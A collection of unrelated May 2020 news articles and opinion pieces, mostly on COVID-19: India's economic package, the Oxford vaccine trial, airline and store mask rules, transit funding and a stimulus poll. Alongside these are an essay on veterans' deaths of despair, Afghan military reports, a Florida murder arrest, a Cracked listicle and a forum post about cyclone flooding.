Demonetisation was supposedly a surgical strike on black money, counterfeit currency, and terrorism. It ended up being a carpet bombing of the economy. The rollout of the Goods and Services Tax (GST) was a grand affair. At a midnight session of Parliament, the PM declared: Just as Sardar Vallabhbhai Patel unified India by helping several princely states subsume into a common entity, the GST will bring economic unification. A lot of thought went into the GSTs announcement, not so much into its structure and implementation. The consequences are before us.

The PMs announcement of the economic package sounded historic. It was anything but that. As the finance minister treated us to what was like a Netflix miniseries, details of the package became clearer. I went straight from phase 1 to phase 6 of the Modi announcement cycle. It is not just that the package is substantively poor. I worry that the government either does not understand the gravity of the current crisis or believes that its bluster will carry the day one more time. In either case, India is in deep, deep trouble. And yet again, the poorest and weakest Indians will suffer most.

To understand why the Modi governments response to the Covid-19 crisis falls so catastrophically short, you have to, just for one moment, look beyond the painful images of struggling migrant workers. Most analysts now believe Indias severe and extended lockdown has guaranteed a recession. Analysts at Nomura and Goldman Sachs predict Indias FY21 GDP growth will likely be around minus 5%. In April, the Purchasing Managers Index (PMI) for both manufacturing and services collapsed to historic lows, far below their levels during the Great Recession of 2008-09. The unemployment rate is at 27.1%, a record high, as over 122 million lost jobs in April alone.

This comes on the heels of an already slumping economy. Before Covid-19, Indias nominal GDP growth hit its slowest mark in about 45 years, unemployment was at a 45-year high, credit growth was lowest in 58 years, and investment was at a 17-year low. Making matters worse, the Centres FY20 revenue shortfall was likely `1.6 lakh crore. A leaked government report indicated that poverty had risen between 2011-12 and 2017-18, an astonishing reversal of Indias poverty reduction story.

The PM faced an examination of a lifetime. But the exam warrior retreated to his old cheat sheet. The crisis became more about what Modi was doing rather than what India needed. The unilateral decision to lock down the country shredded the constitutional scheme. The lack of application of mind, reminiscent of demonetisation, created waves of desperate and destitute workers. The rhetoric of self-reliance became a cruel excuse to enfeeble the weakest among us.

As India stands at the precipice of lasting economic damage, Modis package is true to formmore packaging, less substance. By now, independent analysts estimate that government spending will be about 1% of the GDP. Much of the governments package is in the form of loans and liquidity measures. Try telling a business to take a loan to pay workers and invest amid such uncertainty. You will then understand why RBIs liquidity measures have so far found few takers.

If there ever was a time to elevate substance over form, it is now. It is a time to seek political consensus and seek out scientific and socioeconomic expertise. It is a time to create a credible plan to contain the health crisis and invest public resources in building up the confidence of individuals and businesses.

An immediate step would be to rebalance the economic package in favour of direct cash support to individuals and small businesses to mitigate the worst impacts of the crisis. This is not the time to fret about the fiscal deficit. As Nobel laureate Paul Krugman notes: The only thing we have to fear from deficits is deficit fear itself.

There is pain ahead. It will be savage, it will be deep, and it will cut across India. But it doesnt have to be this way. The government must pull back from its disastrous course of elevating form over substance. Lives depend on it.

Salman Anees Soz

Deputy Chairperson of the professionals wing of the Congress

(The author was formerly with the World Bank. Views are personal. Tweets @SalmanSoz)
British researchers testing an experimental vaccine against the new coronavirus are moving into advanced studies and aim to immunize more than 10,000 people to determine if the shot works.

Last month, scientists at Oxford University began vaccinating more than 1,000 volunteers in a preliminary study designed to test the shots safety. Those results arent in yet but on Friday, the scientists announced theyre expanding to 10,260 people across Britain, including older people and children.

If all goes smoothly, its possible as early as the autumn or toward the end of the year, you could have results that allowed use of the vaccine on a wider scale, predicted Andrew Pollard, head of the Oxford Vaccine Group.

But Pollard acknowledged there were still many challenges ahead, including how long it will take to prove the vaccine works  particularly since transmission has dropped significantly in Britain  and any potential manufacturing complications.

The Oxford shot is one of about a dozen experimental vaccines in early stages of human testing or poised to start, mostly in China, the U.S. and Europe. Scientists have never created vaccines from scratch this fast and its far from clear that any of the candidates will ultimately prove safe and effective.

Moving on to such a huge late-scale test doesnt guarantee the Oxford candidate will reach the finish line, either. Pollard couldnt provide any data from the first tests, but said an oversight board hasnt seen any indications of worrisome side effects.

A small study in monkeys offers a note of caution: The Oxford team and researchers from the U.S. National Institutes of Health found the vaccine protected against pneumonia but didnt eliminate the coronavirus in the nose. Pollard said it was still an open question whether the shot could make a dent in how the disease spreads.

Another question addressed in the next stage of testing is how the shot will affect older adults, who are at high risk from COVID-19. Pollard noted those over 70 often dont get as much protection from vaccines as younger people.

Earlier this week, drugmaker AstraZeneca said it had secured its first agreements to produce 400 million doses of the Oxford-developed vaccine, bolstered by a $1 billion investment from a U.S. government agency.

The AstraZeneca investment hopefully will make the vaccine available globally, including in developing countries, said Lawrence Young of the University of Warwick. But he cautioned the shots effectiveness still is unclear, citing the monkey research.

This raises serious questions about the ability of this vaccine to protect against infection in humans and to prevent virus transmission, he said in a statement. We need to be urgently exploring other vaccine candidates.

Often, possible vaccines that look promising early fail after testing expands to thousands of people  one reason the crowded field is important. Many of the candidates work in different ways, and are made with different technologies, increasing the odds that at least one approach might succeed.

Most of the vaccines in the pipeline aim to train the immune system to recognize the spiky protein that studs the new coronavirus outer surface, so its primed to attack if the real infection comes along. The Oxford vaccine uses a harmless virus  a chimpanzee cold virus, engineered so it cant spread  to carry genes for the spike protein into the body. A Chinese company created a similar shot.

Other leading vaccine candidates, including one from the NIH and Moderna Inc., and another by Inovio Pharmaceuticals, simply inject a piece of the coronavirus genetic code that instructs the body itself to produce spike protein that primes the immune system.

Meanwhile, companies and governments are beginning to scale up production now, aiming for hundreds of millions of doses of the candidates they think might win the vaccine race.

Its a huge gamble that could waste a lot of money if their choices fail and must be thrown away. But if they get lucky and a stockpiled vaccine pans out, it could help mass vaccinations start a few months faster.
Source: Xinhua| 2020-05-22 15:23:56|Editor: huaxia

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KABUL, May 22 (Xinhua) -- Twenty-eight Taliban militants were killed in two Afghan provinces on Thursday, the Ministry of Defense said Friday.

Fourteen militants affiliated with the Taliban group were killed and one other was wounded after Afghan National Defense and Security Forces (ANDSF) conducted a clearance operation supported by Afghan Air Force in Shindand district of western Herat province, the ministry said in a statement.

Three villages, Khawja Nuh, Rubat Rood and Pul-e-Larzanak, have also been cleared from the insurgents, the statement added.

Elsewhere, in northern Takhar province's restive Khawja Ghar district, 14 Taliban militants were killed and four others wounded, when Afghan air forces pounded their hideouts and positions, the statement said.

Some amount of arms and ammunition and two of the militants' bases have also been destroyed following the sorties in the two regions, said the statement.

No civilians or military personnel were reported dead or wounded during the operations.

The militant group has not responded to the report. Enditem
STATEN ISLAND, N.Y.-- Despite warmer weather and the number of cases of coronavirus (COVID-19) on Staten Island continually dropping, officials are warning that a constant threat still lingers.

In an interview with the Advance/SILive.com, Borough President James Oddo has said he understands residents concerns about wanting to get out of the house, but also wants people to stay safe to curb the spread of the virus.

(People) should use common sense when going out,'' he said "We want to see New York City open up in a way that doesnt jeopardize public safety and, while emotions continue to run high, we believe that we should use science and evidence.

Oddo continued by citing that, although Americans are eager for the stay-at-home order to be lifted, according to polling data, the vast majority of citizens are fearful of a second wave of coronavirus.

I hear the anxiousness of people and I want to do this in a way that reduces the chance of ending up where we were in March and April,'' Oddo said. "The best way of doing that is to ground the decision in science. We all have to act with humility. We dont know what the facts and the truth are with this virus because it constantly changes.

The borough president has been trying to reach out to local business owners and has continued to advocate for community action against the coronavirus, such social distancing and wearing masks.

I absolutely encourage masks, its not burdensome,'' he said. "Youre not doing it for yourself. Its for someone else. There are things in life that are difficult, but this isnt one of those difficult decisions.

Director of health and wellness for the Borough Presidents Office, Dr. Ginny Mantello added that masks provide a great deal of protection for everyone.

If everyone wore a mask, the rate of transmission of the disease is cut down so significantly," she said. "Other countries that have already reopened have put high pressure on mask wearing. It would be dramatically different if everyone wears a mask.
Holidaymakers could be forced to wear face masks, take their own food on flights and wave goodbye to loved ones outside the airport in strict new travelling rules.

Airlines and airports are considering tough new guidelines to keep travel safe after the worst of the COVID-19 pandemic is over.

It could spell the end of on-board duty-free, with passengers forced to bring their own snacks and meals as food trolleys likely to also be outlawed.

Under guidelines introduced in Europe, air travellers may have to wear face masks for every stage of their journey, something that could soon come to Australia.

Passengers will also be assessed in interview booths if they show any symptoms of coronavirus, with loved ones banned from entering airports unless they are flying.

Australians are seen arriving home from India on May 8 (pictured) with face masks in airports likely to become the norm

Travellers are seen wearing face masks as they arrived at Sydney airport on March 27 (pictured) with flying likely to change after the pandemic

Health officials hope this will make airports less crowded when travel begins to reopen globally.

There was also be tough restrictions on hand luggage, an on-board toilet specifically for cabin crew, meaning less for passengers.

European travel body, the European Union Aviation Safety Agency, issued 28 pages of guidelines, including physical distancing measures at airports.

It leaves airlines and airports with a dizzying array of options, with some instancing aviation is 'absolutely safe' - as there have been no known COVID-19 transmissions on aircraft.

International air travel is still banned for Australians unless in exceptional circumstances, but residents are being encouraged to plan domestic trips.

Australians are seen arriving at Sydney airport on May 8 (pictured) after flying home from Delhi

Arrivals and checking in

Temperature checked could be conducted upon arrival at the airport to ensure travellers don't have a fever, which is one of the most common COVID-19 symptoms.

A type of 'passenger locator card' may also be introduced, so travellers can be traced if they are found to have come into contact with an infected person.

It would contain a traveller's name, flight number, seat number and contact details.

Travellers will be made to wear face masks from the moment they enter the airport, as well all staff, and encouraged to wash their hands frequently.

There will be floor markings across the airport, similar to in shops and cafes, telling people to stay 1.5 metres apart.

Immigration halls could get rid of written immigration forms and replace them high-tech facial recognition.

Any family members not travelling may not be able to enter the airport at all, to keep crowd numbers low.

In-flight meals (pictured) could be a thing of the past, with tough new coronavirus guidelines saying they could contribute to the virus spreading

Security

Social distancing will be maintained, but this could prove difficult during busy periods.

All staff will be wearing masks, while security staff who perform checks on people will also be wearing face shields and gloves.

Staff will also have to regularly disinfect the trays used to scan hand luggage.

Officials suggest cutting down the hand baggage allowance to reduce contamination risk and speed up the boarding process.

This could mean discounts on hold luggage prices if customers agree to have nothing in the cabin.

Boarding and baggage claim

An automated sanitiser station may be introduced for customers to disinfect their hands as soon as they enter the aircraft.

A disinfectant-soaked mat may also be there for people to walk through, taking any harmful germs off their shoes.

If buses are usually used to take people to the plane, even more will be laid on.

At baggage claim, passengers will be asked to immediately leave the airport and meet friends and family outside, with no more gatherings inside arrivals.

Qantas (pictured on May 20 on a runway in Sydney) have already said they will carry on using the middle seat in planes

On board

Planes will be disinfected between flights, with trays also thoroughly wiped down.

Air filters could also be installed to clean the cabin air - and everyone will have to wear a mask.

With one mask only suitable to be used for around four hours, long-haul flyers may need to use several.

Planes could also be left with middle seats free, as has already been introduced in Malaysia and Indonesia.

But this is not the case in Europe or America, with that decision resting with the airlines themselves.

One toilet will be used by staff only, making it difficult for passengers - who will no longer be allowed to queue in the aisles.

European short-haul carrier easyJet has already announced an end to all its food service, with health officials recommending 'reduced' services.

It could also spell the end of on-board duty-free.

Duty free in airports (pictured in Sydney airport) will continue to run, but on-board services are likely to be stopped

Middle seats

Qantas has already ruled out leaving the middle seats free, despite those measures already being introduced in Indonesia, Malaysia and on Air New Zealand flights.

From June, Qantas won't block out middle seats on domestic flights.

Instead, the airline is trying to keep customers apart on flights but without any guarantees it can do so.

Airline expert Geoffrey Thomas told the Australian Financial Review: 'Using the middle seat is generally a pressing commercial reality.

'And from what we've seen, aviation is absolutely safe; there has been no passenger-to-passenger transmission on any aeroplane, anywhere in the world.'

Deputy chief medical officer Paul Kelly explained that aircraft ventilation made it safer than being in an ordinary closed space, such as an office or bus.

'The ventilation on an aircraft, can make it safer than a closed room,' he said.
The US spent so much fighting phantom enemies and creating the myth of good versus evil that it ignored the real threat.

Morgan Godvin is a student at the OHSU-PSU School of Public Health in Portland, where she has lived most her life.

I heard her sobs the moment before I saw the butcher knife. It bobbed up and down rhythmically in her hand as she cried, sitting in the drivers seat of her car. I could not just walk by as if I had not seen anything. I leaned into her open passenger window and stupidly asked her if she was OK.

She gestured with the knife towards the cop cars lining the street. They wont even do their job and shoot me! I stood there waving this knife around, and the cops didnt even notice. They just walked into the building. Now I have to wait for them to come back out. Her words devolved into choking sobs.

The Portland Police Bureau holds its martial arts training in a building next to a convenience store. Police SUVs can always be found parked along that street, officers chatting outside.

The woman had intended to commit suicide-by-cop. My first instinct was to call the police to save her, then I realised how absurd that would be. Unsure of what to say or do, I stood there awkwardly. She looked at me, annoyed by my presence. Who are you?

Hi. My name is Morgan. I saw the knife, and you looked upset, so I wanted to check-in.

She looked straight at me, her eyes so full of pain. I came here to die and like everything else in my life; it didnt even work.

Why do you want to die? I asked her bluntly.

She leaned her head back against her headrest and the knife dropped to her lap. Tears streamed down her face. Its my daughter. Its almost the anniversary of her death. I still cant live without her. They said it would get easier, but it didnt. She was a soldier.

The price of war

I know the military. My mother served 20 years in the Air Force. I tried to follow in her footsteps but was discharged out of basic training, deemed medically unfit for service. I was raised in a military culture with a deep respect for service members.

Her crying became softer. But she didnt die in Iraq. She lived through the war. She died later, in a drunk driving accident

I thought of the people I had known who had survived war but died after. There were many: a friend who was so drunk he drove his car into a concrete barrier, dying instantly; another who overdosed on heroin; one who shot himself.

Deaths of despair go hand-in-hand with modern military service. They are part of the price of war  a price I have seen paid by friends who returned home with PTSD, in the 21-gun salutes at the military funerals of those who could not bear the pain, in the psychologists waiting room at the VA, in the faces of the active-duty members at the drug treatment centre who preferred the deadening of chemical dependency to the flashbacks.

I looked at the womans face and thought of the mothers of all the friends I had lost, the end of their childrens suffering marking the beginning of theirs. Because, for those who fight it, war does not end in the war zone.

I made the woman laugh by telling her about how I had joined the Air Force but gotten discharged from basic training after getting an abscess on my butt. She told me about her only remaining child, a son, who is set to graduate from high school this year. She told me about all the other problems in her life and how she felt so terribly alone.

I connected with her through kindness. Eventually, I got her to put the knife away, tucked under her seat. After some prodding, she called a friend, and he came to pick her up. We said goodbye. I never got her name.

I spent the rest of the day ruminating on the far-reaching consequences of Americas wars.

Veterans and villains

I got home that night, turned on the TV, and saw the breaking news: the US military had killed top Iranian general Qassem Soleimani. I was confronted with the possibility of yet another American war. Yet another generation of PTSD-stricken veterans, yet another wave of suicides, drunk driving accidents, addiction, and overdose.

Americans are uniquely adept at discounting the tragedies that occur outside America, even when those tragedies are a direct or indirect result of our actions. America determined which region was the villain of the hour and attacked accordingly. From the loss of precious human life on a scale which I find incomprehensible, to the horrors inflicted on the living, there is no end in sight for the suffering of the people that called those regions home. Millions of people  each one a human being with a story  have become refugees of war.

As the prospect of war devolved into partisan bickering in the days that followed, I often heard the military and veterans invoked as reasons for war with Iran.

I respect the military in the sense that I respect the service members within it, who joined to serve their country, or provide for their family, or for the only American chance at a free college education. A victory for them would be to protect them from unnecessary wars and all that comes with them.

Senate Majority Leader Mitch McConnell stood on the floor of the senate and gave an impassioned speech supporting President Trumps decision to kill a foreign military general. It sounded like a cry for war and included all the typical invocations that precede unilateral US invasion of a foreign country. No man alive was more directly responsible for the death of more American service members than Qassem Soleimani, he said.

Apparently, Soleimani, the villain of the hour, had posed an imminent threat and military action was taken  without congressional approval  to protect American lives. Initiating a military offensive was being touted as a way to protect us.

What we did not know at the time is that American lives were, in fact, in great danger. But the enemy was not a villain; acellular entities do not have personalities.

Good versus evil

I was 12 years old on September 11, 2001. My mother took her flag out of her shadow box and proudly flew it on our front porch, weeping. I learned patriotism before I understood geopolitics. The enemy was swiftly and decisively identified: Osama bin Laden, al-Qaeda, and the Taliban that supported him. Obviously, it was a battle of good versus evil, which left no room for complexity or nuance. The US righteously invaded Afghanistan. The world was black and white. War was necessary to protect us.

I was a bit older during the lead-up to the invasion of Iraq. I watched the congressional hearings with uncritical curiosity, already having accepted that war was necessary to protect our country. I remember weapons of mass destruction. America had an external enemy that posed an imminent threat, again. I was still young, but I understood it was another righteous battle of good versus evil. Black and white. There was no subtlety, no complexity and no nuance.

There were also no weapons of mass destruction. There was no imminent threat. The black and white world view I learned from my military mother was infiltrated by shades of grey.

I read Khaled Hosseinis The Kite Runner and A Thousand Splendid Suns and, for the first time, learned how the US had funded and trained the mujahideen, then abandoned the region. This historical detail seemed relevant to our ongoing struggle with Afghanistan, but it was never mentioned in polite company and especially not in history class at my public school. American history class, after all, is used to promulgate a particular and pre-approved world view.

The erasure of history is important for simplicity. History introduces nuance. It can help to explain the complex motives behind seemingly evil human behaviour. Understanding motives is antithetical to the evil label, though, so we do not attempt it. Over-simplification comes at the cost of truth. Eliminating complexity obscures reality.

Almost nothing in this world is black and white. As human beings, we are endlessly complex.

I detected a pattern  America is constantly questing for an external enemy, one which can be cast as pure evil. The legitimacy of it is baked into the American psyche with the help of good-versus-evil Hollywood action movies that omit shades of grey from their storylines. There is a villain and that villain is bad, simply because they were born that way. There is an omnipresent enemy, whose animosity is spontaneous and unfounded, and they must be destroyed. It is the way of the world.

A few months ago, the enemy was Iran. The history of US involvement there erased, as if Iranian sentiments towards America were spontaneous and born out of some innate disposition towards hating us. Most actions are actually reactions, though. Still, the US framed it as a fight of good-versus-evil, implied there was an imminent threat, and claimed hugely expensive military intervention would protect American lives.

Ambushed by a virus

But while some politicians rallied for war and others raged against it, a pandemic had already been unleashed on the world. Early warnings of the impending pandemic were largely ignored as we continued to squabble over the appropriateness of military action and diplomacy with foreign governments.

We have spent trillions on the military, on homeland security, on national defence. We were so busy hunting for a villainous external enemy against whom to wage our war of good-versus-evil, that we failed to defend ourselves and were ambushed  by a virus. We spent so much time and money preparing for a phantom enemy that we ignored the real threat.

That virus is sweeping across the US, leaving death and yet more partisan squabble in its wake. We were warned and yet did not prepare with widespread testing capacity or PPE stockpiling. Our superior military is useless. We are far more experienced at chasing boogiemen than we are at actually protecting American life.

We cannot feel safe while an invisible virus lurks in our community, killing tens of thousands. We cannot feel safe when any illness threatens to lead us to financial ruin. A feeling of safety requires a basic assurance of health and access to healthcare. There is no dichotomy between public health and public safety in reality, only in rhetoric.

Now that the virus has been accepted as real and as a public health threat, the presidential focus is shifting to who can we punish instead of how do we heal. The origin of the virus  though we know it originated in nature  is irrelevant to our current reality. Attempting to blame China and hold them responsible is yet another expression of our ceaseless quest for an enemy, at a time when we should be prioritising public health and collaborating with the international community to save lives. The American emphasis on punishment over healing comes at great cost.

We invested more in military presence missions that serve no tactical purpose than we did in PPE, and now healthcare workers are dying of COVID-19 when their infection should have been preventable.

The narrative that the enemy would be an external one was false. COVID-19 is literally living inside us, and we are utterly unprepared to respond because it is not something we can bomb or wage war against, despite our president framing it in such familiar terms. These are the consequences of decades of political choices and public attitudes.

Millions of citizens are losing their employment-based health insurance during a pandemic. Unemployment is skyrocketing, and food banks are struggling to keep up with demand. What the nation needs now is its health defended.

Our economic success is predicated upon our publics health. This is now a visible fact; may we never take public health for granted again. We can use this as a catalyst for positive change. Instead of constantly searching for threats from without, this is an opportunity for introspection. Healing comes from within.

National defence was once imbued with literal meaning  to defend the nation. That meaning was lost, and we were left undefended in times of crisis. Let us reanalyse the phrases national defence, public safety, and homeland security, and return to their true meaning. Rhetoric will not save our lives nor our economy. Public health measures will.

The views expressed in this article are the authors own and do not necessarily reflect Al Jazeeras editorial stance.
Syracuse, N.Y.  You might have seen the videos on social media: Shoppers who refuse to wear face masks confront the store manager, who patiently explains its store policy that all customers wear them.

But can store owners legally enforce that policy?

Yes, say legal and retail experts, as long as they dont discriminate against anyone who cant wear a mask because theyre disabled or against certain groups, called protected classes.

All businesses have the right to refuse service so long as it is not violating one of those protected classes, said Robert Mascari, chief assistant district attorney in Madison County. You cant refuse to serve me because Im half Italian and half Irish. You can refuse to serve me if Im being an idiot.

To help control the spread of the novel coronavirus, Gov. Andrew Cuomo issued an order last month requiring anyone in public to wear a face mask if they cannot stay at least 6 feet away from others. Retailers have been enforcing the policy in stores across the state, said Ted Potrikus, executive director of the Retail Council of New York State.

He said customers can expect to see more stores enforcing a mask policy as retail begins to slowly reopen after the economic shutdown that began in March.

The signs used to say no shirt, no shoes, no service, Potrikus said. You can add no masks to that.

Store managers are obligated to keep their employees and customers safe, he said, and they have the power to deny entry to people who might cause an unsafe condition.

If store policy says X and I dont want to follow that, youre not allowed in the store, he said. You dont want to turn people away, but at same time if you let one person in (without a mask) you have to let everybody in.

If a customer gets angry and refuses, Potrikus said, the retailer should try to avoid a confrontation and call the police instead.

The order doesnt carry any criminal penalties, and law enforcement officials say theyre not citing anyone for not wearing a mask.

Were looking at it as an educational campaign, said Matt Malinowski, spokesman for the Syracuse Police Department. We start with a warning and education as were all trying to figure out these new times.

Malinowski said it hasnt been a problem in the city.

Mascari said he has told local police he wouldnt prosecute the refusal to wear a face mask. If the confrontation escalated, though, he has told police to make arrests as they normally would.

If somebody is advised of social distancing regulations and their reaction is to hit a cop, arrest them, he said. If they engage in disorderly conduct, arrest them.

Store managers do need to be careful about applying store policies fairly and not discriminate against any group of people deemed protected, including those with disabilities. They also need to be aware of disability law and how some people are abusing the law because they dont want to wear masks, said Doron Dorfmann, a Syracuse University law professor who specializes in disability law.

The people challenging shopkeepers by claiming to have disabilities when they dont are eroding the protections guaranteed in the Americans Disability Act, Dorfman said.

Its a really cynical use of laws that are designed to protect the population who are most susceptible to getting the virus, he said. The people who are most susceptible are people with pre-existing conditions, meaning those are people with disabilities.

Dorfman said there may be legitimate disabilities that would prevent someone from wearing a mask: someone with autism who has sensory issues, for example, or someone with a respiratory problem for which a mask would make breathing difficult.

Under the ADA, he said, store managers must be cautious in questioning anyone who says they have a disability. The manager, for example, cant ask what the disability is.

Shop keepers can ask two questions of that person, Dorfman said: Is (not wearing a mask) an accommodation? What kind of benefit do you get from not wearing a mask?

Asking those questions will help a store manager defend his or her actions if a person with a disability brings a suit for discrimination, Dorfman said. It will also help the merchant make reasonable accommodations for the customer under the ADA. The store manager might still be able to keep the customer out of the store, but offer to get their merchandise and deliver it to their car, for example, Dorfman said.

Someone with a disability can only be excluded, though, if they pose a direct threat, according to a recent article in the National Law Review. A person showing symptoms of Covid-19  coughing, sweating, difficulty breathing  could probably be considered a direct threat, the article said. It would be hard to make that case with a customer who had no symptoms or had a bandana that could suffice as a mask, the article said.

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U.S. Secretary of Defense Mark Esper speaks as President Donald Trump listens during a news briefing on the latest development of the coronavirus outbreak in the U.S. at the James Brady Press Briefing Room at the White House March 18, 2020 in Washington, DC.

WASHINGTON  Secretary of Defense Mark Esper doubled down on Friday by saying the Pentagon will meet an aggressive timeline to have a coronavirus vaccine by the end of the year, a deadline doubted by leading health officials.

"You know, our medical experts, our researchers have been working on this vaccine now, and therapeutics and diagnostics for a few months," Esper explained on NBC's "TODAY." "We've been ahead of the curve and in the fight from day one, and this is the next phase of this battle, and we will deliver on time the vaccines," he added, saying he was "completely confident" that the Pentagon will deliver.

Esper downplayed characterizations made by health officials that a vaccine within the year would be "aspirational."

"Well, you know, when Eisenhower launched the U.S. military against Nazi Germany, he didn't say, 'We might win World War II, we'll try.' When John F. Kennedy aspired to put a man on the moon, he didn't say, 'We'll give it a good shot.' He said, 'We will do it,'" the Pentagon chief said.

"The Defense Department, once again, is committed to get this done. We're going to live up to the expectations, and we're going to deliver on this virus," he said, adding that the Pentagon is preparing for a potential second wave of the coronavirus.

Last week, President Donald Trump unveiled a federal task force in charge of a $10 billion effort that will help produce and widely distribute a coronavirus vaccine by the end of 2020.

"We will deliver, by the end of this year, a vaccine, at scale, to treat the American people and our partners abroad," Esper said alongside Trump.
History is full of famous feuds. Hamilton and Burr, Hatfields and McCoys, Cracked.com and public intoxication bylaws. But as bitter as these disputes could be, at least there was a grim logic to them. The same can not be said for the following, where famed historical figures reduced themselves to petty bullshit pretty much just for the hell of it.

5 J.R.R. Tolkien And C.S. Lewis Bonded Over Hating Walt Disney For His Take On Dwarfs

J.R.R. Tolkien, the famous creator of Tom Bombadil, and C.S. Lewis, the famous creator of Fur Christ, were good friends when they weren't arguing about who had the better initials or how much Latin should be used in church. And, speaking of stuffiness, they bonded over ripping into Walt Disney.

Had Walt insulted their work? Were they accosted by Goofy at Disneyland? No, they saw Snow White and the Seven Dwarfs together and they both fucking hated it.Specifically the dwarf parts. Lewis, while calling Disney a "poor boob," complained that Dopey and friends were the wrong kind of ugly, writing "Dwarfs ought to be ugly of course, but not in that way. And the dwarfs' jazz party was pretty bad." He would have filmed a YouTube rant in the parking lot had the technology been available.

Lewis did praise the film's spookier elements and much of the animation ... before whining about the dwarfs again. He complained their design was "bloated, drunken, low comedy," and lamented that Disney was wasting his obvious talents by selling out. If only Walt had been tempted away from the evil siren song that is "updating a 19th century children's tale for modern viewers."
AbhiJ Senior - BHPian



Join Date: Jun 2008 Location: Kolkata Posts: 1,429 Thanked: 853 Times

Re: India braces for 'super cyclone' Amphan Quote: Thad E Ginathom Originally Posted by With water half-way up the wheels... I suspect very little damage will have been caused. It probably entered the cabin, and biggest job would be interior cleaning.



Do not make any attempt to start the engine until you are sure no water has entered. How to be sure? I don't know and ask that someone can post that advice please.



Shortly after posting the question (8 30 AM) I went to check on the car again. I had taken photos at 6 AM so was sure that the level was actually RISING. I checked that there were no issues in the power lines and decided to go see the car up close.



The level has steadily increasing as the drains were not taking away water...



The front door line level was starting to go underwater. I got in using the rear door and the interior was dry. I confirmed that the tail pipe was over the water (the parking lot is higher towards the rear of the car). Popped the bonnet to confirm that intake is clear. Started the car and drove out without incident.



Car running fine, carpets are dry, no water on dip stick .



The water level increased after that even though multiple pumps are running. Lot of my apartment's cars are still stuck . ... Sorry for the late reply... been a crazy 2 days thanks to the aftermath of the storm .. This car was parked in the underground.Shortly after posting the question (8 30 AM) I went to check on the car again. I had taken photos at 6 AM so was sure that the level was actually RISING. I checked that there were no issues in the power lines and decided to go see the car up close.The level has steadily increasing as the drains were not taking away water...The front door line level was starting to go underwater. I got in using the rear door and the interior was dry. I confirmed that the tail pipe was over the water (the parking lot is higher towards the rear of the car). Popped the bonnet to confirm that intake is clear. Started the car and drove out without incident.Car running fine, carpets are dry, no water on dip stick .The water level increased after that even though multiple pumps are running. Lot of my apartment's cars are still stuck . ...
A Florida man is behind bars after deputies say he killed his sex partner over explicit photos.

Benjamin Paige was arrested Wednesday on second-degree murder and a firearm possession charge. The 22-year-old is being held in a Lee County jail on $2 million bond, according to court documents.

Witnesses told Lee County sheriffs detectives that the victim, Terrance Brown, exited his Lehigh Acres home on Sunday to meet an acquaintance. The associate, later identified as Paige, then shot him numerous times, deputies say.

Investigators later discovered the two became sexually involved after meeting one another on social media for about a week before the killing. Paige had recently grown furious at Brown for refusing to delete sexually explicit images between the two, Lee County Sheriff Carmine Marceno said.

Benjamin Austin Paige

Detectives, with help from several law enforcement agencies, quickly located Paige in Charlotte County where they took him into custody.

Paige has a recent history of illegal activity.

Corrections records show he served a little more than 42 months in state prison for a weapons charge. Three months after being released in January, he was also charged with loitering and felony drug possession, according to an arrest report. Those charges were later dropped.
BAY CITY, MI - Bay Metro Transit is receiving a large boost of funding as a part of a relief package due to the COVID-19 pandemic.

Michigan Democratic U.S. Sens. Debbie Stabenow and Gary Peters announced that Bay Metro will receive a $3.8 million grant from the Federal Transit Administration.

The leadership and workers of Bay Metro Transit work hard to make sure that people can get to their jobs, doctor appointments, and grocery stores, said Stabenow. This funding will make sure that theyre able to continue to provide these vital services for essential workers during this pandemic.

The funding comes as a part of the Cornavirus Aid, Relief, and Economic Security (CARES) Act and will be used to make sure that transit service in Bay County will continue during the pandemic.

Peters said, From our dedicated frontline workers to seniors in need of critical supplies and medicine, Michiganders are still relying on public transit during this pandemic."

The grant comes from a large pool of $25 billion of allocated funds from the Federal Transit Administration.

Bay Metro joins other transportation organizations across the state in promoting safety during the COVID-19 pandemic. All riders in any Bay Metro vehicle must wear a facemask.

Bay Metro announced on Monday, March 23, that all fixed bus routes are suspended until further notice over COVID-19 concerns. The restrictions will continue until Bay Metro announces that they are lifted. No public access is also currently allowed at the Bay Metro main office at 1510 N. Johnson Street and the Central Bus Station at 1124 Washington Avenue.

Bay Metro will continue DART, an on-demand service, and offer it to the general public. However, all trips on DART are limited for essential services only, and passengers with ADA certification have priority for ride scheduling.

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CARSON CITY  The State of Nevada is honoring those who died protecting our nation with the release of two virtual Memorial Day ceremonies.

Instead of traditional in-person events at the Southern and Northern Nevada State Veterans Memorial Cemeteries, virtual observances honoring fallen U.S. military personnel debuted Friday morning at www.veterans.nv.gov.

Although the extraordinary nature of these times has changed how we observe Memorial Day ceremonies at our State cemeteries, not even a pandemic will stop us from honoring those who served and sacrificed for our country. While we may be physically separated from each other, sharing the tradition of honoring those who gave their lives for our freedom brings us closer together in spirit, said Gov. Steve Sisolak.

Both videos feature veterans and family members, from WWII to present day, placing flowers and other tokens of respect at the final resting place of veterans of every era. The videos also feature the placing of a wreath by Governor Sisolak at the Battle Born Memorial in Carson City, and end with the playing of taps.

At a time when most events have been postponed or canceled, veterans across Nevada came together to make sure the tradition of honoring our fallen comrades was not forgotten, said Kat Miller, director of the Nevada Department of Veterans Services. These video tributes are moving and honor the memory of our Nations Fallen, just as we have done at Nevadas Veterans Memorial Cemeteries for the past 30 years.

In addition to the virtual ceremonies, each veterans cemetery will conduct a brief wreath laying ceremony, accompanied by a moment of silence and the playing of yaps. In keeping with CDC guidelines to limit large gatherings, these ceremonies will not be open to the public. Live stream links and videos of these ceremonies will be posted on the NDVS website as they become available.

The Veteran Memorial Cemeteries in Fernley and Boulder City remain open to the pubic and visitors are welcome to visit and lay flags or flowers. Social distancing is required, and the wearing of face coverings is encouraged.
Americans could use a financial boost. How to get that money into people's hands has been a hot topic of debate.

Democrats have proposed expanding unemployment insurance and giving Americans as much as $2,000 per month to get back on their feet.

Meanwhile, one Republican proposal has called for giving Americans $11,000 now in exchange for every year they agree to delay their Social Security benefits and Medicare coverage.

Now, a poll conducted by Data For Progress and Social Security Works, an advocacy organization, asked Americans which of those two options they would pick. They also asked if people think the government has already done enough.

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Most respondents, 55%, said they want expanded unemployment insurance along with $2,000 per month in income. Meanwhile, 25% said they think the government has already done enough.

Just 20% said they would pick $11,000 in income for every year they delay Social Security and Medicare.

The poll included 1,324 likely voters and was conducted between May 11 and May 14.

Most respondents supported expanded unemployment and $2,000 checks per month when broken down by gender and age and education level. The weakest support for the idea came from Republicans, with 44%, compared to Democrats, at 67%, and Independents, 50%.
